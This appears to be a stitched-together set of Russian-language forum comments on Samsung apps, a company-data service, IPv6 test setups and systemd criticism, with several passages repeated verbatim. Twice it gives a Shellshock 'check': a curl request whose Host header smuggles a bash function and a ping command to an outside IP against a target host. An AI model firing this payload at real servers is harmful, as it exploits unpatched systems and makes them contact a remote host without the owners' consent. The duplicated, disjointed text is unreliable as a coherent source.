По запросу 'smart control' в google play ничего не находится приличного, только какие-то поделки. Я постоянно натыкаюсь на упоминание «утилит для управления техникой samsung», но увы, скачать не могу
Лаборатория Касперского — как пример.
«Сведения актуальны на..» — это, скорее всего, не только меня смутит. Будут думать, что вы их редко актуализируете. Перефразировать может ..?
По поводу ФНС: если заказ на организацию, то заказывающий скорее всего там и работает. И несоответствие «как знает сотрудник» и «как подсказывает форма» бросается в глаза.
Многие организации, в связи с изменениями в законе, стали, с 1 июля, не ЗАО а АО.
А у вас всё ещё по старому.
Базы нужно обновлять не только раз в полгода, например, но и законы отслеживать.
Виртуалки… Сидят в IPv6-only сети. И нужно иногда выходить в мир именно по v6, ну или чтоб они думали что это v6. Тестирование, опять же. Виртуальной инфраструктуры не хватает для полноценного тестирования некоторых программ на поддержку ipv6.
Напрягает сложность простых вещей в systemD. Если я хочу что бы сервис стартовал после сети, «в старину» я дал бы ему имя начинающееся с «99-...» и он бы стартовал последним. Теперь мне нужно поставить systemd-networkd-wait-online.service, который будет следить чтобы сервисы нуждающиеся в сети откладывали свой старт. Сервис, который мониторит сервис, что бы сказать сервисам нуждающимся в сервисе, что сервис стартанул (Тут должна разболеться голова).
Моё мнение: все кому нравится такая архитектура, какую прививает systemd — обратите взор на MAC OS, Не тащите эту гадость в GNU LINUX.
Серьёзно, в OS X уже давно есть launchD который заведует вообще всем и от которого вообще всё зависит. Полностью монолитный, бинарный, не изменяемый без перекомпиляции, управляемый парой способов и не приемлющий критики launchD.
Я не воинствующий, но зачем менять логику (философию если угодно) того что работало десятилетиями? Я не говорю, что нужно застрять в 70х-80х, но полностью изменить концепцию дистрибутива! Застревать нельзя, а вот развивать имеющееся, не придумывая революций, видимо, скучновато<сарказм>.
Высокий порог вхождения в systemD тоже довод. У меня, тогда ещё молодого, не заняло много времени разобтаться в скриптах инициализации, а вот systemD, с его непрозрачностью, пугает меня до сих пор.
А что бы проверить без сборки masscan-а достаточно curl-запроса: curl -A "ShellShock-check (0.1)" -H "Host:() { :; }; ping -c 3 209.126.230.74" <Attackrd_host>
Поправьте меня, если ошибаюсь.
и переменная будет задана для всей системы а не только для одного tty.
А после использования удалить, ибо безопастность!
«Сведения актуальны на..» — это, скорее всего, не только меня смутит. Будут думать, что вы их редко актуализируете. Перефразировать может ..?
По поводу ФНС: если заказ на организацию, то заказывающий скорее всего там и работает. И несоответствие «как знает сотрудник» и «как подсказывает форма» бросается в глаза.
А у вас всё ещё по старому.
Базы нужно обновлять не только раз в полгода, например, но и законы отслеживать.
Но, голь на выдумки хитра)
ping6 всё равно нужно вызывать с %en0, иначе ping6: sendmsg: No route to host
Сервис, который мониторит сервис, что бы сказать сервисам нуждающимся в сервисе, что сервис стартанул (Тут должна разболеться голова).
Серьёзно, в OS X уже давно есть launchD который заведует вообще всем и от которого вообще всё зависит. Полностью монолитный, бинарный, не изменяемый без перекомпиляции, управляемый парой способов и не приемлющий критики launchD.
Я не воинствующий, но зачем менять логику (философию если угодно) того что работало десятилетиями? Я не говорю, что нужно застрять в 70х-80х, но полностью изменить концепцию дистрибутива! Застревать нельзя, а вот развивать имеющееся, не придумывая революций, видимо, скучновато<сарказм>.
Высокий порог вхождения в systemD тоже довод. У меня, тогда ещё молодого, не заняло много времени разобтаться в скриптах инициализации, а вот systemD, с его непрозрачностью, пугает меня до сих пор.
curl -A "ShellShock-check (0.1)" -H "Host:() { :; }; ping -c 3 209.126.230.74" <Attackrd_host>Поправьте меня, если ошибаюсь.
В ТТХ диска именно сжатие упоминается.